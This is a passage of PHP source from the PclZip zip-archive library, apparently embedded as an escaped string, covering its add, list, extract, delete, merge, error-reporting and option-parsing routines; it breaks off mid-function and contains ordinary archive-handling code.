(PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_ADD => 'optional', PCLZIP_CB_POST_ADD => 'optional', PCLZIP_OPT_NO_COMPRESSION => 'optional', PCLZIP_OPT_COMMENT => 'optional', PCLZIP_OPT_ADD_COMMENT => 'optional', PCLZIP_OPT_PREPEND_COMMENT => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if (\$v_result != 1) { return 0; } } else { \$v_options[PCLZIP_OPT_ADD_PATH] = \$v_add_path = \$v_arg_list[0]; if (\$v_size == 2) { \$v_options[PCLZIP_OPT_REMOVE_PATH] = \$v_arg_list[1]; } else if (\$v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid number / type of arguments\"); return 0; } } } \$this->privOptionDefaultThreshold(\$v_options); \$v_string_list = array(); \$v_att_list = array(); \$v_filedescr_list = array(); \$p_result_list = array(); if (is_array(\$p_filelist)) { if (isset(\$p_filelist[0]) && is_array(\$p_filelist[0])) { \$v_att_list = \$p_filelist; } else { \$v_string_list = \$p_filelist; } } else if (is_string(\$p_filelist)) { \$v_string_list = explode(PCLZIP_SEPARATOR, \$p_filelist); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid variable type '\".gettype(\$p_filelist).\"' for p_filelist\"); return 0; } if (sizeof(\$v_string_list) != 0) { foreach (\$v_string_list as \$v_string) { \$v_att_list[][PCLZIP_ATT_FILE_NAME] = \$v_string; } } \$v_supported_attributes = array ( PCLZIP_ATT_FILE_NAME => 'mandatory' ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional' ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional' ,PCLZIP_ATT_FILE_MTIME => 'optional' ,PCLZIP_ATT_FILE_CONTENT => 'optional' ,PCLZIP_ATT_FILE_COMMENT => 'optional' ); foreach (\$v_att_list as \$v_entry) { \$v_result = \$this->privFileDescrParseAtt(\$v_entry, \$v_filedescr_list[], \$v_options, \$v_supported_attributes); if (\$v_result != 1) { return 0; } } \$v_result = \$this->privFileDescrExpand(\$v_filedescr_list, \$v_options); if (\$v_result != 1) { return 0; } \$v_result = \$this->privAdd(\$v_filedescr_list, \$p_result_list, \$v_options); if (\$v_result != 1) { return 0; } return \$p_result_list; } function listContent() { \$v_result=1; \$this->privErrorReset(); if (!\$this->privCheckFormat()) { return(0); } \$p_list = array(); if ((\$v_result = \$this->privList(\$p_list)) != 1) { unset(\$p_list); return(0); } return \$p_list; } function extract() { \$v_result=1; \$this->privErrorReset(); if (!\$this->privCheckFormat()) { return(0); } \$v_options = array(); \$v_path = ''; \$v_remove_path = \"\"; \$v_remove_all_path = false; \$v_size = func_num_args(); \$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; if (\$v_size > 0) { \$v_arg_list = func_get_args(); if ((is_integer(\$v_arg_list[0])) && (\$v_arg_list[0] > 77000)) { \$v_result = \$this->privParseOptions(\$v_arg_list, \$v_size, \$v_options, array (PCLZIP_OPT_PATH => 'optional', PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_EXTRACT => 'optional', PCLZIP_CB_POST_EXTRACT => 'optional', PCLZIP_OPT_SET_CHMOD => 'optional', PCLZIP_OPT_BY_NAME => 'optional', PCLZIP_OPT_BY_EREG => 'optional', PCLZIP_OPT_BY_PREG => 'optional', PCLZIP_OPT_BY_INDEX => 'optional', PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional', PCLZIP_OPT_REPLACE_NEWER => 'optional' ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if (\$v_result != 1) { return 0; } if (isset(\$v_options[PCLZIP_OPT_PATH])) { \$v_path = \$v_options[PCLZIP_OPT_PATH]; } if (isset(\$v_options[PCLZIP_OPT_REMOVE_PATH])) { \$v_remove_path = \$v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset(\$v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { \$v_remove_all_path = \$v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset(\$v_options[PCLZIP_OPT_ADD_PATH])) { if ((strlen(\$v_path) > 0) && (substr(\$v_path, -1) != '/')) { \$v_path .= '/'; } \$v_path .= \$v_options[PCLZIP_OPT_ADD_PATH]; } } else { \$v_path = \$v_arg_list[0]; if (\$v_size == 2) { \$v_remove_path = \$v_arg_list[1]; } else if (\$v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid number / type of arguments\"); return 0; } } } \$this->privOptionDefaultThreshold(\$v_options); \$p_list = array(); \$v_result = \$this->privExtractByRule(\$p_list, \$v_path, \$v_remove_path, \$v_remove_all_path, \$v_options); if (\$v_result < 1) { unset(\$p_list); return(0); } return \$p_list; } function extractByIndex(\$p_index) { \$v_result=1; \$this->privErrorReset(); if (!\$this->privCheckFormat()) { return(0); } \$v_options = array(); \$v_path = ''; \$v_remove_path = \"\"; \$v_remove_all_path = false; \$v_size = func_num_args(); \$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; if (\$v_size > 1) { \$v_arg_list = func_get_args(); array_shift(\$v_arg_list); \$v_size--; if ((is_integer(\$v_arg_list[0])) && (\$v_arg_list[0] > 77000)) { \$v_result = \$this->privParseOptions(\$v_arg_list, \$v_size, \$v_options, array (PCLZIP_OPT_PATH => 'optional', PCLZIP_OPT_REMOVE_PATH => 'optional', PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', PCLZIP_OPT_ADD_PATH => 'optional', PCLZIP_CB_PRE_EXTRACT => 'optional', PCLZIP_CB_POST_EXTRACT => 'optional', PCLZIP_OPT_SET_CHMOD => 'optional', PCLZIP_OPT_REPLACE_NEWER => 'optional' ,PCLZIP_OPT_STOP_ON_ERROR => 'optional' ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', PCLZIP_OPT_TEMP_FILE_ON => 'optional', PCLZIP_OPT_TEMP_FILE_OFF => 'optional' )); if (\$v_result != 1) { return 0; } if (isset(\$v_options[PCLZIP_OPT_PATH])) { \$v_path = \$v_options[PCLZIP_OPT_PATH]; } if (isset(\$v_options[PCLZIP_OPT_REMOVE_PATH])) { \$v_remove_path = \$v_options[PCLZIP_OPT_REMOVE_PATH]; } if (isset(\$v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { \$v_remove_all_path = \$v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } if (isset(\$v_options[PCLZIP_OPT_ADD_PATH])) { if ((strlen(\$v_path) > 0) && (substr(\$v_path, -1) != '/')) { \$v_path .= '/'; } \$v_path .= \$v_options[PCLZIP_OPT_ADD_PATH]; } if (!isset(\$v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) { \$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; } else { } } else { \$v_path = \$v_arg_list[0]; if (\$v_size == 2) { \$v_remove_path = \$v_arg_list[1]; } else if (\$v_size > 2) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid number / type of arguments\"); return 0; } } } \$v_arg_trick = array (PCLZIP_OPT_BY_INDEX, \$p_index); \$v_options_trick = array(); \$v_result = \$this->privParseOptions(\$v_arg_trick, sizeof(\$v_arg_trick), \$v_options_trick, array (PCLZIP_OPT_BY_INDEX => 'optional' )); if (\$v_result != 1) { return 0; } \$v_options[PCLZIP_OPT_BY_INDEX] = \$v_options_trick[PCLZIP_OPT_BY_INDEX]; \$this->privOptionDefaultThreshold(\$v_options); if ((\$v_result = \$this->privExtractByRule(\$p_list, \$v_path, \$v_remove_path, \$v_remove_all_path, \$v_options)) < 1) { return(0); } return \$p_list; } function delete() { \$v_result=1; \$this->privErrorReset(); if (!\$this->privCheckFormat()) { return(0); } \$v_options = array(); \$v_size = func_num_args(); if (\$v_size > 0) { \$v_arg_list = func_get_args(); \$v_result = \$this->privParseOptions(\$v_arg_list, \$v_size, \$v_options, array (PCLZIP_OPT_BY_NAME => 'optional', PCLZIP_OPT_BY_EREG => 'optional', PCLZIP_OPT_BY_PREG => 'optional', PCLZIP_OPT_BY_INDEX => 'optional' )); if (\$v_result != 1) { return 0; } } \$this->privDisableMagicQuotes(); \$v_list = array(); if ((\$v_result = \$this->privDeleteByRule(\$v_list, \$v_options)) != 1) { \$this->privSwapBackMagicQuotes(); unset(\$v_list); return(0); } \$this->privSwapBackMagicQuotes(); return \$v_list; } function deleteByIndex(\$p_index) { \$p_list = \$this->delete(PCLZIP_OPT_BY_INDEX, \$p_index); return \$p_list; } function properties() { \$this->privErrorReset(); \$this->privDisableMagicQuotes(); if (!\$this->privCheckFormat()) { \$this->privSwapBackMagicQuotes(); return(0); } \$v_prop = array(); \$v_prop['comment'] = ''; \$v_prop['nb'] = 0; \$v_prop['status'] = 'not_exist'; if (@is_file(\$this->zipname)) { if ((\$this->zip_fd = @fopen(\$this->zipname, 'rb')) == 0) { \$this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \\''.\$this->zipname.'\\' in binary read mode'); return 0; } \$v_central_dir = array(); if ((\$v_result = \$this->privReadEndCentralDir(\$v_central_dir)) != 1) { \$this->privSwapBackMagicQuotes(); return 0; } \$this->privCloseFd(); \$v_prop['comment'] = \$v_central_dir['comment']; \$v_prop['nb'] = \$v_central_dir['entries']; \$v_prop['status'] = 'ok'; } \$this->privSwapBackMagicQuotes(); return \$v_prop; } function duplicate(\$p_archive) { \$v_result = 1; \$this->privErrorReset(); if ((is_object(\$p_archive)) && (get_class(\$p_archive) == 'pclzip')) { \$v_result = \$this->privDuplicate(\$p_archive->zipname); } else if (is_string(\$p_archive)) { if (!is_file(\$p_archive)) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, \"No file with filename '\".\$p_archive.\"'\"); \$v_result = PCLZIP_ERR_MISSING_FILE; } else { \$v_result = \$this->privDuplicate(\$p_archive); } } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid variable type p_archive_to_add\"); \$v_result = PCLZIP_ERR_INVALID_PARAMETER; } return \$v_result; } function merge(\$p_archive_to_add) { \$v_result = 1; \$this->privErrorReset(); if (!\$this->privCheckFormat()) { return(0); } if ((is_object(\$p_archive_to_add)) && (get_class(\$p_archive_to_add) == 'pclzip')) { \$v_result = \$this->privMerge(\$p_archive_to_add); } else if (is_string(\$p_archive_to_add)) { \$v_object_archive = new PclZip(\$p_archive_to_add); \$v_result = \$this->privMerge(\$v_object_archive); } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid variable type p_archive_to_add\"); \$v_result = PCLZIP_ERR_INVALID_PARAMETER; } return \$v_result; } function errorCode() { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorCode()); } else { return(\$this->error_code); } } function errorName(\$p_with_code=false) { \$v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR', PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL', PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL', PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER', PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE', PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG', PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP', PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE', PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL', PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION', PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT', PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL', PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL', PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM', PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE', PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE', PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION' ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE' ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION' ); if (isset(\$v_name[\$this->error_code])) { \$v_value = \$v_name[\$this->error_code]; } else { \$v_value = 'NoName'; } if (\$p_with_code) { return(\$v_value.' ('.\$this->error_code.')'); } else { return(\$v_value); } } function errorInfo(\$p_full=false) { if (PCLZIP_ERROR_EXTERNAL == 1) { return(PclErrorString()); } else { if (\$p_full) { return(\$this->errorName(true).\" : \".\$this->error_string); } else { return(\$this->error_string.\" [code \".\$this->error_code.\"]\"); } } } function privCheckFormat(\$p_level=0) { \$v_result = true; clearstatcache(); \$this->privErrorReset(); if (!is_file(\$this->zipname)) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, \"Missing archive file '\".\$this->zipname.\"'\"); return(false); } if (!is_readable(\$this->zipname)) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \"Unable to read archive '\".\$this->zipname.\"'\"); return(false); } return \$v_result; } function privParseOptions(&\$p_options_list, \$p_size, &\$v_result_list, \$v_requested_options=false) { \$v_result=1; \$i=0; while (\$i<\$p_size) { if (!isset(\$v_requested_options[\$p_options_list[\$i]])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid optional parameter '\".\$p_options_list[\$i].\"' for this method\"); return PclZip::errorCode(); } switch (\$p_options_list[\$i]) { case PCLZIP_OPT_PATH : case PCLZIP_OPT_REMOVE_PATH : case PCLZIP_OPT_ADD_PATH : if ((\$i+1) >= \$p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, \"Missing parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$v_result_list[\$p_options_list[\$i]] = PclZipUtilTranslateWinPath(\$p_options_list[\$i+1], FALSE); \$i++; break; case PCLZIP_OPT_TEMP_FILE_THRESHOLD : if ((\$i+1) >= \$p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, \"Missing parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } if (isset(\$v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'\"); return PclZip::errorCode(); } \$v_value = \$p_options_list[\$i+1]; if ((!is_integer(\$v_value)) || (\$v_value<0)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, \"Integer expected for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$v_result_list[\$p_options_list[\$i]] = \$v_value*1048576; \$i++; break; case PCLZIP_OPT_TEMP_FILE_ON : if (isset(\$v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'\"); return PclZip::errorCode(); } \$v_result_list[\$p_options_list[\$i]] = true; break; case PCLZIP_OPT_TEMP_FILE_OFF : if (isset(\$v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'\"); return PclZip::errorCode(); } if (isset(\$v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'\"); return PclZip::errorCode(); } \$v_result_list[\$p_options_list[\$i]] = true; break; case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : if ((\$i+1) >= \$p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, \"Missing parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } if ( is_string(\$p_options_list[\$i+1]) && (\$p_options_list[\$i+1] != '')) { \$v_result_list[\$p_options_list[\$i]] = PclZipUtilTranslateWinPath(\$p_options_list[\$i+1], FALSE); \$i++; } else { } break; case PCLZIP_OPT_BY_NAME : if ((\$i+1) >= \$p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, \"Missing parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } if (is_string(\$p_options_list[\$i+1])) { \$v_result_list[\$p_options_list[\$i]][0] = \$p_options_list[\$i+1]; } else if (is_array(\$p_options_list[\$i+1])) { \$v_result_list[\$p_options_list[\$i]] = \$p_options_list[\$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, \"Wrong parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$i++; break; case PCLZIP_OPT_BY_EREG : \$p_options_list[\$i] = PCLZIP_OPT_BY_PREG; case PCLZIP_OPT_BY_PREG : if ((\$i+1) >= \$p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, \"Missing parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } if (is_string(\$p_options_list[\$i+1])) { \$v_result_list[\$p_options_list[\$i]] = \$p_options_list[\$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, \"Wrong parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$i++; break; case PCLZIP_OPT_COMMENT : case PCLZIP_OPT_ADD_COMMENT : case PCLZIP_OPT_PREPEND_COMMENT : if ((\$i+1) >= \$p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, \"Missing parameter value for option '\" .PclZipUtilOptionText(\$p_options_list[\$i]) .\"'\"); return PclZip::errorCode(); } if (is_string(\$p_options_list[\$i+1])) { \$v_result_list[\$p_options_list[\$i]] = \$p_options_list[\$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, \"Wrong parameter value for option '\" .PclZipUtilOptionText(\$p_options_list[\$i]) .\"'\"); return PclZip::errorCode(); } \$i++; break; case PCLZIP_OPT_BY_INDEX : if ((\$i+1) >= \$p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, \"Missing parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$v_work_list = array(); if (is_string(\$p_options_list[\$i+1])) { \$p_options_list[\$i+1] = strtr(\$p_options_list[\$i+1], ' ', ''); \$v_work_list = explode(\",\", \$p_options_list[\$i+1]); } else if (is_integer(\$p_options_list[\$i+1])) { \$v_work_list[0] = \$p_options_list[\$i+1].'-'.\$p_options_list[\$i+1]; } else if (is_array(\$p_options_list[\$i+1])) { \$v_work_list = \$p_options_list[\$i+1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, \"Value must be integer, string or array for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$v_sort_flag=false; \$v_sort_value=0; for (\$j=0; \$j<sizeof(\$v_work_list); \$j++) { \$v_item_list = explode(\"-\", \$v_work_list[\$j]); \$v_size_item_list = sizeof(\$v_item_list); if (\$v_size_item_list == 1) { \$v_result_list[\$p_options_list[\$i]][\$j]['start'] = \$v_item_list[0]; \$v_result_list[\$p_options_list[\$i]][\$j]['end'] = \$v_item_list[0]; } elseif (\$v_size_item_list == 2) { \$v_result_list[\$p_options_list[\$i]][\$j]['start'] = \$v_item_list[0]; \$v_result_list[\$p_options_list[\$i]][\$j]['end'] = \$v_item_list[1]; } else { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, \"Too many values in index range for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } if (\$v_result_list[\$p_options_list[\$i]][\$j]['start'] < \$v_sort_value) { \$v_sort_flag=true; PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, \"Invalid order of index range for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$v_sort_value = \$v_result_list[\$p_options_list[\$i]][\$j]['start']; } if (\$v_sort_flag) { } \$i++; break; case PCLZIP_OPT_REMOVE_ALL_PATH : case PCLZIP_OPT_EXTRACT_AS_STRING : case PCLZIP_OPT_NO_COMPRESSION : case PCLZIP_OPT_EXTRACT_IN_OUTPUT : case PCLZIP_OPT_REPLACE_NEWER : case PCLZIP_OPT_STOP_ON_ERROR : \$v_result_list[\$p_options_list[\$i]] = true; break; case PCLZIP_OPT_SET_CHMOD : if ((\$i+1) >= \$p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, \"Missing parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$v_result_list[\$p_options_list[\$i]] = \$p_options_list[\$i+1]; \$i++; break; case PCLZIP_CB_PRE_EXTRACT : case PCLZIP_CB_POST_EXTRACT : case PCLZIP_CB_PRE_ADD : case PCLZIP_CB_POST_ADD : if ((\$i+1) >= \$p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, \"Missing parameter value for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$v_function_name = \$p_options_list[\$i+1]; if (!function_exists(\$v_function_name)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, \"Function '\".\$v_function_name.\"()' is not an existing function for option '\".PclZipUtilOptionText(\$p_options_list[\$i]).\"'\"); return PclZip::errorCode(); } \$v_result_list[\$p_options_list[\$i]] = \$v_function_name; \$i++; break; default : PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Unknown parameter '\" .\$p_options_list[\$i].\"'\"); return PclZip::errorCode(); } \$i++; } if (\$v_requested_options !== false) { for (\$key=reset(\$v_requested_options); \$key=key(\$v_requested_options); \$key=next(\$v_requested_options)) { if (\$v_requested_options[\$key] == 'mandatory') { if (!isset(\$v_result_list[\$key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Missing mandatory parameter \".PclZipUtilOptionText(\$key).\"(\".\$key.\")\"); return PclZip::errorCode(); } } } } if (!isset(\$v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { } return \$v_result; } function privOptionDefaultThreshold(&\$p_options) { \$v_result=1; if (isset(\$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) || isset(\$p_options[PCLZIP_OPT_TEMP_FILE_OFF])) { return \$v_result; } \$v_memory_limit = ini_get('memory_limit'); \$v_memory_limit = trim(\$v_memory_limit); \$last = strtolower(substr(\$v_memory_limit, -1)); if(\$last == 'g') \$v_memory_limit = \$v_memory_limit*1073741824; if(\$last == 'm') \$v_memory_limit = \$v_memory_limit*1048576; if(\$last == 'k') \$v_memory_limit = \$v_memory_limit*1024; \$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor(\$v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO); if (\$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) { unset(\$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]); } return \$v_result; } function privFileDescrParseAtt(&\$p_file_list, &\$p_filedescr, \$v_options, \$v_requested_options=false) { \$v_result=1; foreach (\$p_file_list as \$v_key => \$v_value) { if (!isset(\$v_requested_options[\$v_key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Invalid file attribute '\".\$v_key.\"' for this file\"); return PclZip::errorCode(); } switch (\$v_key) { case PCLZIP_ATT_FILE_NAME : if (!is_string(\$v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, \"Invalid type \".gettype(\$v_value).\". String expected for attribute '\".PclZipUtilOptionText(\$v_key).\"'\"); return PclZip::errorCode(); } \$p_filedescr['filename'] = PclZipUtilPathReduction(\$v_value); if (\$p_filedescr['filename'] == '') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, \"Invalid empty filename for attribute '\".PclZipUtilOptionText(\$v_key).\"'\"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_SHORT_NAME : if (!is_string(\$v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, \"Invalid type \".gettype(\$v_value).\". String expected for attribute '\".PclZipUtilOptionText(\$v_key).\"'\"); return PclZip::errorCode(); } \$p_filedescr['new_short_name'] = PclZipUtilPathReduction(\$v_value); if (\$p_filedescr['new_short_name'] == '') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, \"Invalid empty short filename for attribute '\".PclZipUtilOptionText(\$v_key).\"'\"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_FULL_NAME : if (!is_string(\$v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, \"Invalid type \".gettype(\$v_value).\". String expected for attribute '\".PclZipUtilOptionText(\$v_key).\"'\"); return PclZip::errorCode(); } \$p_filedescr['new_full_name'] = PclZipUtilPathReduction(\$v_value); if (\$p_filedescr['new_full_name'] == '') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, \"Invalid empty full filename for attribute '\".PclZipUtilOptionText(\$v_key).\"'\"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_COMMENT : if (!is_string(\$v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, \"Invalid type \".gettype(\$v_value).\". String expected for attribute '\".PclZipUtilOptionText(\$v_key).\"'\"); return PclZip::errorCode(); } \$p_filedescr['comment'] = \$v_value; break; case PCLZIP_ATT_FILE_MTIME : if (!is_integer(\$v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, \"Invalid type \".gettype(\$v_value).\". Integer expected for attribute '\".PclZipUtilOptionText(\$v_key).\"'\"); return PclZip::errorCode(); } \$p_filedescr['mtime'] = \$v_value; break; case PCLZIP_ATT_FILE_CONTENT : \$p_filedescr['content'] = \$v_value; break; default : PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Unknown parameter '\".\$v_key.\"'\"); return PclZip::errorCode(); } if (\$v_requested_options !== false) { for (\$key=reset(\$v_requested_options); \$key=key(\$v_requested_options); \$key=next(\$v_requested_options)) { if (\$v_requested_options[\$key] == 'mandatory') { if (!isset(\$p_file_list[\$key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, \"Missing mandatory parameter \".PclZipUtilOptionText(\$key).\"(\".\$key.\")\"); return PclZip::errorCode(); } } } } } return \$v_result; } function privFileDescrExpand(&\$p_filedescr_list, &\$p_options) { \$v_result=1; \$v_result_list = array(); for (\$i=0; \$i<sizeof(\$p_filedescr_list); \$i++) { \$v_descr = \$p_filedescr_list[\$i]; \$v_descr['filename'] = PclZipUtilTranslateWinPath(\$v_descr['filename'], false); \$v_descr['filename'] = PclZipUtilPathReduction(\$v_descr['filename']); if (file_exists(\$v_descr['filename'])) { if (@is_file(\$v_descr['filename'])) { \$v_descr['type'] = 'file'; } else if (@is_dir(\$v_descr['filename'])) { \$v_descr['type'] = 'folder'; } else if (@is_link(\$v_descr['filename'])) { continue; } else { continue; } } else if (isset(\$v_descr['content'])) { \$v_descr['type'] = 'virtual_file'; } else { 